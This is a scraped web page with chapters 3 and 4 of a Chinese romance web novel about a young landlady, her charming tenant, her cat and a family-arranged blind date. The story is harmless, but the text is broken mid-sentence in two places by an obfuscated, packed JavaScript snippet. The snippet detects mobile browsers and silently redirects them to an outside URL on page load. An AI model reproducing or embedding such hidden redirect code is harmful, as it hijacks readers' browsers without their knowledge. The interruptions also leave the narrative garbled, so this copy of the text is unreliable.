《别摸我的猫》 3. 蹭到了。 温满月觉得,比起金钱,她拥有更多的是时间。 她微笑着耸肩:“你知道的,我很少没空。” 两人很快走进了澎香园。澎香园的小路两边种着芒果树,半夜路上又掉了不少芒果,温满月边走边踢。 沈靡也踢开一只芒果:“我还挺好奇的,你家到底有多少套房子,真的一辈子不用上班吗?” “这栋。”温满月指了指两人即将上去的楼房。 沈靡抬了抬眼皮。一栋楼有10层,每层两户,这是20套。 可温满月的胳膊并没放下去,又指了指身后:“这栋。” 沈靡:“……” “这栋,这栋……还有外面的沿街店铺,都是我家的。不过归我管的就只有店铺,其他的都是我爸的名字,我偶尔帮他收收啦。” “那还真是不用上班。”沈靡轻笑。 他的反应相比别人听到时过于平静了点。颜灵第一次知道她家有这么多房子收租的时候,咬牙切齿地想要投胎重生。 两人聊着聊着就走到了楼下。回到家,温满月先洗漱了一番,瞌睡虫还没来,便又坐去书房打算写两行日记。 半夜寂静时,隔壁的水声显得更响了。她知道沈靡很爱干净,每晚下班回来都要冲一次澡。 她心猿意马地打开日记本。手肘撞到一个东西,一看,桌上竟有一个不属于她家的物什。 沈靡的钥匙落在这里了。 出租屋配备有指纹锁,可沈靡既然已经在洗澡,想必不知道钥匙丢在了哪里,没过来找。 温满月拿起他的钥匙。 金属环上挂了个软软的仿真包子小挂件,白胖圆滚还挺可爱。 她凝眉。 一个男生会在钥匙上挂这种可爱挂件吗? 该不会是前女友,或者现女友送的吧。 她不禁想起了颜灵的观点。沈靡长成这样,没谈过恋爱的确说不过去。虽然没发现他有女朋友的迹象,但会不会,他在北京是有一个女朋友的。 不,他这么好看,说不定不止一个? 温满月心不在焉地想着,边拿着钥匙出了家门。等回过神来,已经站在了对门的门口。 抬手敲门,没人回应。 她这才想起来沈靡还在冲澡。 算了,等明天再给他吧。 她刚要转身,心里突然冒出一股无法言说的念头。 来都来了,给他放进去吧。万一明天他出门没看见钥匙急着要找怎么办。 可是沈靡现在没法来开门。 但我有钥匙啊。 也对。……会不会不太好?不太礼貌。 “我只是放个钥匙。”温满月自言自语,“又不干别的。” 她捏着钥匙,包子挂件一晃一晃地打在手背上。第一下没对准锁眼,第二下才将钥匙顺利插进去,门咔哒一声打开了。 这不是第一次来沈靡的出租屋。 除了他刚住进来修空调那次,还有一次外卖员走错了门,把咖啡送到了她家,她又给送了回来。 屋内很整洁,透露着出租屋特有的空阔冷清。不同于温满月那边,这里家具很少,门口只有一个鞋架,客厅也仅有沙发、茶几和壁挂电视,一眼就望到了头。 温满月没在门口看见适合放钥匙的地方,于是静悄悄迈进门槛。 浴室关着门,磨砂玻璃门一片白茫茫,只有水声唰唰地响着,印证了她的猜测,他确实在洗澡。 她蹑手蹑脚走到客厅,准备把钥匙放在茶几上就关门离开。 水声很好地掩盖住了脚步声,她努力不去想象玻璃门那边的光景。茶几上放了一板白色药片,她便将钥匙放在了药片旁边。 这样,沈靡洗完澡后,应该就能一眼看到了吧。 顺利完成任务,温满月准备离开。刚回过头,她猛地在沙发下面看见一双修长的黑色触须。 呼吸瞬间停滞。 哪怕在深圳住了这么多年,突然看见一双这个形状的双马尾,也不可能不吓一跳! 她立刻后跳了两步。顾及着不能发出声音,温满月特意压制着动作幅度,却没料到垃圾桶就在脚边,一不小心被她踢翻了。 金属包边的垃圾桶倒在地上,和瓷砖地面亲密接触,发出了清脆的撞击声。 浴室内的水声戛然而止。 温满月原地石化。 这一定能入选这辈子最尴尬的时刻之一。 她看了眼敞着的大门,距离自己尚有一段距离,此时逃跑应该还来得及。 但若沈靡出来正好看见她在逃窜,岂不是更诡异? 没等她分析完,浴室的门就开了。沈靡面带疑惑地探出半个身子,看见温满月站在客厅中间,表情也很惊讶。 “是我开错门了吗?”他问。 他的冷笑话远远不及他本人吸引注意力,温满月在看见他的那一刻,脸蛋瞬间冒烟。 刚才的处境太过尴尬,以至于她忘记了,她急需面对的情况其实是: 沈靡有可能会不穿衣服打开门。 大脑和眼睛在打架。 散着柔光的水痕布满他的上半身,肌肉线条匀称而明显,白里透粉。荷尔蒙气息扑面而来,温满月被这靡艳的画面冲击得原地发愣,视线不由自主地向下瞥了一眼。 围着浴巾。 太坏……! 哦不是,太好了。 理智微微占了上风。她嘴巴磕磕巴巴指向茶几:“我,看见你的钥匙落在我家,就给你送过来。” 沈靡眸光微闪,顺着她手指的方向看向桌子。 似有慌促一闪而过。 但很快他又挂上了笑容:“是吗?谢谢。” 刚才那一瞬间的表情仿佛是温满月的错觉。她没功夫思考,匆匆点头准备逃离现场:“那你继续洗,我走了。” “等等。” 沈靡的声音落入耳朵里,像下了指令一般,温满月不自觉停了脚步。 她回望过去,正望进他黑亮亮、湿漉漉的双眸。 沈靡弯唇一笑:“房东不请自入,算不算擅闯民宅呢。” “……” 她真的不知道怎么解释自己的行为。 “水费。”温满月目光游移,“水费免了,行不?” 沈靡挑挑眉。 “多久?” “三个月。” 他提唇笑了笑:“帮我关下门。” “……” 她硬着头皮在他的注视下准备离开。刚迈开两步,又从墙根看见两根长长的触须在晃。 下一秒,爬出一只幼鼠大小的蟑螂,气势汹汹,速度飞快地朝她的脚边冲过来。 温满月再也克制不住自己的恐惧:“啊啊啊啊啊!!!” 她几乎是弹起来躲到了沈靡身后。沈靡淡淡朝地上看了眼,一言未发,转身从卫生间拿出扫把和簸箕,动作干脆利落地扫起大螂,从卫生间窗户嗖地丢了出去。 “你、你、你还挺厉害!”温满月惊魂未定。 沈靡有些沉默:“嗯,我抓小动物特别厉害。” 那是小动物吗? “但是你没弄死它,它还会回来的!” 沈靡似乎没刚才那么淡定了:“啊,是吗。” “算了,你先洗。”她又看见沈靡腰间的浴巾摇摇欲坠,“等会儿我再教你怎么杀它们。” 温满月匆忙要向外走,脚下却踩到方才沈靡大战蟑螂时带出的一摊水渍。 脚尖滑了滑,她立刻站稳,沈靡却以为她要摔倒,猛地伸手扶住了她。 温满月:“……” 沈靡:“……你小心点。” 她脸红了。 不因别的,刚才有香风一闪而过,随后,她蹭到了他的胸肌。 还留下了证据。 她的脸颊被蹭湿了。 残留着水汽的胸口冰凉凉的,触感像嫩豆腐一样。温满月呆滞,本能地摸了摸脸上的水痕。 沈靡笑着挑了挑眉:“怎么了?” 尾音拖腔带调,分明是明知故问。 她木木然回过神,下一刻,脚底抹油,几乎是跑回自己房间,立刻打开日记,抓起一根笔就是写。 他一定是故意的! 温满月面颊热热的,但手底下的笔已经飞了起来,不受控地写下了最直接的感受: 好软啊! 好白啊! 好大啊! 好滑啊! 好香啊! 她奋笔疾书,趁着记忆犹新洋洋洒洒写了500字蹭后感。 连带着晚上睡觉都带着迷之微笑,睡得特别香。 第二天醒来后,已经是下午一点。 最近熬的夜有点多,导致她作息也变得和沈靡一样。 温满月打着哈欠去洗漱,边打开手机在各个app里上早朝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053304|194843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她很早就混进了5T42的员工群。里面正热火朝天地聊着天:马路对面的烧烤店被人检举有严重卫生问题,大中午的被查封责令整改了,估计要罚很大一笔款。 温满月翻聊天记录吃瓜,心里有些暗爽,因为烧烤店老板正是昨晚泼沈靡一身酒的男人。 报应来得还真快。 她吃完瓜关掉群聊,又打开微博。 这一刷,居然看到一条更大的瓜爆了热搜:某沈姓企业家被爆出轨。 “沈姓?”温满月咋舌,“不会是那个沈吧。” 她叼着牙刷点开热搜看了会儿,还真是自己想的那个人:沈泰合。 沈泰合从几年前开始研制新能源汽车,近两年终于开创了行业热潮,一举登上全球富豪排行榜。 没想到风头正盛的时候,却被爆出这种丑闻。 评论区已经炸成了锅。 「沈泰合这就抛弃糟糠了…以前不是最喜欢把伉俪情深挂在嘴边吗,男人果然靠不住。」 「别啊,我昨天刚订了THW的车,还没摸到手呢!」 「订车算什么,我们股民可咋办,谁来告诉我这是对家放的假料」 「照片都拍到了还能有假?」 温满月在评论区找到了照片,像是某国外街道的偷拍。 俊朗的中年男人一手指着镜头,另一手护着个女人。看着沈泰合恼怒的脸,温满月莫名觉得沈靡和他有些相似。 两人还都姓沈。 她不禁脑补了一出沈靡是流落在外的豪门贵公子的狗血戏码,然后被自己逗笑了。 怎么看个热搜都能想到他? 洗漱完毕,温满月关掉了八卦新闻,坐回客厅准备点外卖。 刚要下单,屏幕上弹出个电话,是堂姐打来的。 温满月蹙了蹙眉。 堂姐只比她大几岁。从一个月前和老爸吵架搬出来后,这还是第一次有家里人联系自己。 不会是来劝她回家的吧? 她犹疑着接听了电话。 堂姐的声音立刻传来:“喂,月月,怎么不来聚餐呀?” “嗯?”温满月莫名,“没人告诉我要吃饭啊。” 难道老爸没把她搬出去的事告诉家里人? “嗨呀,都吃完了。你不在我好难熬啊!又被奶奶催生了。” “……同情你。” 温满月有些小小地庆幸。她们的奶奶位高权重,在家里横着走。没别的原因,只因为一件事:脚下的这片地,当年全都是奶奶家的。 后来政策变动这里盖了楼房,才有了一家人躺着数钱的日子。 以前还好,近几年奶奶年纪上来了,开始沉迷给晚辈催婚,连已婚有娃的堂姐也没能逃过,今年又被催着生二胎。 年龄最小的温满月也包含在内。 前阵子,奶奶还为了推行自己的催婚催育霸权,并行了一项奖励措施:谁家能结婚或再添个娃,就再给他们家分一栋房。 这一招实在狠辣,长辈们纷纷加入奶奶阵营。 “那哥岂不是被烦死了?”温满月幸灾乐祸,“她今天做什么了,有没有装病?” 电话那头却异常地开心。堂姐乐了好一会儿,才说:“正要跟你分享这事呢。” “怎么啦?” “哈哈哈。”堂姐边说边笑,“哥不是刚从美国回来嘛?奶奶说他就知道到处旅游,以后有老婆也要跟别人跑。你猜哥说的什么?” 温满月急:“我不猜,快告诉我嘛!” “他说他出柜了!” “真的假的?” “当然是借口啦!”堂姐语速飞快,“奶奶听不懂嘛,就问他出柜是什么意思。他说——哎呀哈哈哈哈哈……” 堂姐在电话那边笑得抽搐。温满月两眼一黑,胃口被钓得足足的:“他到底说什么了?” “他说——就是对着女人硬不起来!你不知道当时奶奶脸上的表情有多精彩!” 温满月震惊,内心堂哥的形象又变得辉煌了几分。 “硬不起来他都敢说?”她调笑,“奶奶今晚睡觉要做噩梦了吧!” 电话里的笑声掺杂了点窸窸窣窣的动静。温满月几秒钟后才反应过来,这动静是从自己家门口传过来的。 察觉这一事实后,她吓得炸了毛,转头一看,竟是沈靡抱着榴榴站在门口。 沈靡看着她,眼神耐人寻味地含着笑,也不知站了多久。 4.堵门 温满月傻眼。 不是。 他是怎么开的门? 想到自己方才说的最后一句话,温满月瞬间觉得脸颊火烧一样热了起来。偏偏堂姐还在手机里叽叽喳喳,但她已经没功夫去听了。 “我有点事,先挂了姐。” 她默默摁掉电话,拘谨地站了起来。 沈靡懒懒站在门槛外,眼底笑意明显。温满月不愿去深思那笑容到底是什么意思,只觉得在他的视线下直不起腰。 “你……” “我——” 沈靡轻咳了声,解释:“我一出来就看见你家门开了条缝,它在过道里玩。” 温满月:“?!” 她无暇顾及刚才的羞耻感,招呼沈靡先进门,从手机上调出监控摄像头app的回放记录。 看完监控她才知道,几分钟前,榴榴趁她打电话的时候,扒着门站起来用爪子打开了门。 好一个内鬼。 温满月情不自禁皱眉:“它怎么还会开门,这笨猫也太聪明了。” “当着孩子的面说什么呢。”沈靡压下榴榴的猫耳朵,“要不要送去隔壁的小学,别耽误了。” “……” 沈靡有时候会开这种很冷的玩笑。 温满月皮笑肉不笑地呵呵了声:“可是它以前从来没开过门。是不是开始发情了?要不下午带它去噶蛋吧。” 她俯下身直视沈靡怀里的榴榴。猪咪瞪着橘色玻璃珠一样的眼睛看着它,眼里满是震惊。 沈靡顺了顺它的毛:“别吓唬它了。” 又声音带笑:“我还没见识过这种场面,带我一个。” 两人一拍即合,把榴榴塞进航空箱就出了门。 温满月的车就停在小区停车场。淡粉色的宾利十分稀有,是她送给自己的大学毕业礼物。 沈靡充当了苦力,把航空箱放进后排座位。他刚要跟着进后排,温满月朝他抬抬下巴,示意他坐副驾。 她这辆车只有前车门,一个大男人挤到后排属实费近了点,沈靡个子还那么高。 沈靡莫名一笑。 温满月疑惑:“怎么了?” “你的车眼睛圆圆的,和你很像。” “什么呀。”温满月大脑空白,“系好安全带。” 沈靡听话地坐进副驾。 温满月常去的宠物医院在几条街之外,离得不远,几脚油门就到了。 他们没有预约,医院里的医生都在忙,护士给榴榴做了简单的检查,安排榴榴排队等噶蛋。 两个人还没吃午饭,肚子饿得咕咕叫。但为了防止榴榴一只猫害怕,他们还是陪着等了一会儿。 等医生出来了,调出榴榴的资料,却是紧皱眉头:“不行呀。” 温满月顿时紧张起来:“怎么了?” “看以前的检查记录,它小时候尿闭过,现在绝育可能会影响发育,我还是建议等再长大点再说。”医生回答。 榴榴以前是野猫,具体几个月大只是靠猜测。医生让家长决定,温满月想了想,还是打算先带榴榴回家,能多发育几天是几天,以后锁好门就是。 这一顿折腾,两人一猫又开车回了家。 温满月把车停在澎香园的停车场,一脚一个地把人行道的芒果踢到路边。 沈靡拎着航空箱,默默跟在后面。 一只芒果被踢进灌木丛,里面竟然窸窸窣窣响了起来。 “是我看错了么。”沈靡问,“那颗芒果是长出腿跑了吗?” “……不是。” 温满月打开自己的包包,从内里拿出一小袋猫粮。 “小区有几只流浪猫,都被我抓得差不多了。刚才那只小橘是最后一只,很难抓,榴榴小时候还是它的跟班呢。” 她边说边把猫粮撒在路边。 “你想养它吗?”沈靡问。 温满月摇头:“先抓到绝育吧,养不养得看榴榴能不能接受。不急,它的行动很固定,只要用食物把它留在这,早晚的事。” 小野猫早已不知躲到哪去。 温满月站起身拍拍箱子:“榴榴,跟你朋友说,抵抗无用束手就擒,你好我好大家好。” 榴榴还真的从箱子里喵了两声。 小橘猫依旧不见踪影,温满月知道有人在它便不会出来。 回到家,沈靡帮她把航空箱拿进屋。箱子一打开,榴榴便蹿出来冲进沙发底下,估计被吓得不轻。 “谢谢你帮忙。”温满月松口气。 沈靡点头:“我去拿移动硬盘,等下过来。” 温满月这下有了准备。沈靡出去后,她先把日记本藏了起来,又把书房空调调到一个合适的温度,万事俱备后,却收到一条短信: S:「临时通知我要去替班,先不过来了。」 温满月顿时恹恹地贴在桌子上。 她已经提前打开了电脑,桌面上有沈靡单独建立的文件夹,里面是他用的软件和各种文件。 很快,她听见隔壁的大门打开又关闭,接着是电梯离开的声音。 她盯着屏幕,操纵鼠标点开文件夹。编程软件和游戏引擎映入眼眶,还有一些她不认识的软件图标。 思绪突然如水一样翻腾着涌出。 什么时候变得这么在意他了? 手机又响了起来,这次是电话,温满月立刻拿起,却看到一个最不想看到的人的名字。 温博简。 她再度泄气,不情愿地接起电话:“喂,爸。” “今天晚上回家吃饭,有客人。”温博简不带感情地说。 他平时说话并非这样直来直去,只是父女俩还在吵架,所以互相讲话都很不客气。 温满月不用想也知道他又安排了相亲。她就是因为这个才躲了出来:她拒绝出门和相亲对象吃饭,温博简就把人请到家里来。 她立刻呛了回去:“不回。” “你不回来住我不管你,今晚是大伯的一个学生来家里做客,你就吃个晚饭,吃完爱干嘛干嘛去。” “大伯的学生为什么要来我们家吃晚饭?” “吃个饭怎么了?家里有阿姨做饭,不比你天天在外面吃外卖好?” “你要是真担心我吃得不好,就不会今天才给我打电话。”温满月动了怒气,“我说过了,我不想相亲,你想要奶奶的房子就自己赚,你离婚那时候不是有女朋友吗?快去找新老婆结婚吧,我不介意。” 温博简好长时间没说话。 “就这个态度,是吧?”他也发了火,“别以为我不知道你住在哪,我那串钥匙少了一个,今晚你不回来,我天天去敲你门,看你住不住得下去。” 电话被他单方面挂断了。 温满月独自坐在沙发上。榴榴从沙发底下钻了出来,跳上温满月的大腿,黏黏糊糊地开始蹭她。 “小猫。”温满月摸它的脑袋,“我没事。” 晚上,温满月开车回了家。 温博简每天无所事事,他说要天天来出租屋敲门,可能真的会做到。 她不想让沈靡看见那么弱智的事情发生在自己身上。 回到家,温满月刚换好鞋,温博简就从客厅里就出来了。 他穿了件速干运动T恤,大拇脚趾露在凉鞋外,见到面便说:“去客厅打招呼,人家姓贺。” 温满月没好气地进了客厅。一个陌生男人坐在沙发上,看见她,礼貌地起身。 男人平心而论长得不难看,模样斯斯文文的,眉眼软软向下延伸,是很温柔的长相。 可直到吃完饭,温满月也没说几句话。 时间已经到了七点半,温满月抓起手机要走。 “干什么去?”温博简低声问她,“还没和人家小贺说两句话呢。” 说实话,今晚看见温博简在家她还挺意外的。 她还以为他会找借口离开,让她和相亲对象单独相处。 “任务完成了,我也可以走了吧?你只让我回家吃饭,又没让我陪聊。” 有客人在,温博简不好发作,温满月有点幸灾乐祸地换鞋出门。 她坐上车系好安全带,正要发动车子,车窗户被人敲了敲。 温满月看向窗外,是那个姓贺的男人。 “温小姐。”他的声音在车窗外闷闷的,“我们可以聊一下吗?” 温满月皱了皱眉,决定还是维持一下礼貌,缓缓降下窗户。 “有什么事?” 他仍不紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054973|194843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不慢地说:“其实叫温小姐有点见外了,或许我该叫你小月。” “不用客套,我跟你说实话,我不想结婚。” “我知道。”他缓和语气,“我不是来和你相亲的。你还记得我吗?我是贺秋白,以前咱们是邻居。” 温满月跟温博简搬进别墅之前,住在市区的一个中端小区。 “是吗?”她搜寻着回忆,“我邻居太多了,不好意思,记不清楚。” “没关系。给你,这是我的名片。” 他塞给她一张小卡:“我开了家医院,如果有空的话,我想——” 温满月接过一看,上面写着某某口腔诊所的名字。 她将名片扔在副驾:“我知道了。” 说完便抬上了车窗,一脚油门踩了出去。 “来吃顿晚饭就是为了打广告,骗小孩呢。”她自言自语地放起车载音乐,又播了个电话出去,“颜灵,在店里吗?” “我在,可是沈靡不在呢。”颜灵声音带笑。 “嗯?他没去上班吗?” “下午来了,刚才换了班,他就下班了呀。你俩没在一起?” 听她的语气,好像默认了他们两个有什么关系一样。温满月心里的烦闷被驱散了些许,但仍平着语调:“没有,我没在家。” “这样啊。”颜灵呵呵笑了声,“刚才有女孩儿跟他要了联系方式。你快回家看看,说不定他出去约会了?” “……” 温满月切了首歌,漫不经心道:“无所谓啊,他又不是我男朋友。” “也对。”颜灵逗她,“但他是你邻居,要是谈了女朋友天天带回家,你晚上岂不是会被吵得……” “停停停。” 颜灵的话太有画面感了。温满月有点受不了:“我不嘴硬了,姐你别整我。” 挂了电话,车速提高了一些。 虽然知道颜灵在胡说八道,但温满月心里真的忧心忡忡起来。 可真烦! 车子开进澎香园,她停好车先抬头看了看那扇属于沈靡房间的窗户,还真黑着灯。 不会真的去约会了吧。 据她所知,沈靡在深圳毫无人脉。这么晚了不在家,会去哪里? 也许…… 也许想用电脑,但她不在家,所以去网吧了。 温满月边琢磨边进了电梯。电梯很快到了十楼,她低着头走出来,抬眼发现自家门口倚了个人。 要不是电梯间亮着灯,她差点被吓一跳。 “沈靡?”她茫然,“你在我家门口干什么?” 沈靡抬头看向她。 温满月这才发现他的神情十分落寞。往日含笑的眼眸凉得过分,连带着周身的气息都变得拒人接近。 他走了过来,影子盖住了她的影子。 距离之近,温满月的心突突地跳了起来。 “你……”他声音喑哑,“去哪里了?” 身后的电梯门缓缓关上。 温满月被笼罩在阴影中,而这片阴影,来自面前的沈靡。 她有些发怔。 他这副可怜巴巴的样子,像只被抛弃的流浪猫。 “我回家吃饭去了。”温满月愣愣地回答。 楼梯间一片沉默。 她的回答,好似让沈靡更颓散了。 温满月蹙着眉:“你找我有急事吗?怎么在这里等。” “没急事,只是想请你吃饭。没关系,是我没早点告诉你。” “啊,不用那么客气……” 她的意思是不需要他请客。他现在的经济情况不好,可以等手头宽裕再请,现在,她可以付钱。 可沈靡似乎会错了意。他拧眉一笑,越过她按下电梯键。 温满月这才反应过来:“不不,我还可以吃点夜宵。” 尚未下降的电梯从身后打开。她推着沈靡进了电梯,嘴中碎碎念:“晚上没吃饱,正好。” “家里的饭也会不合胃口吗?”他问。 “是人不合胃口啦。家里来了个不认识的人,话不投机,没吃几口。” 沈靡缓缓看向她:“是相亲?” 温满月讶异。 怎么一下子就被他猜中了。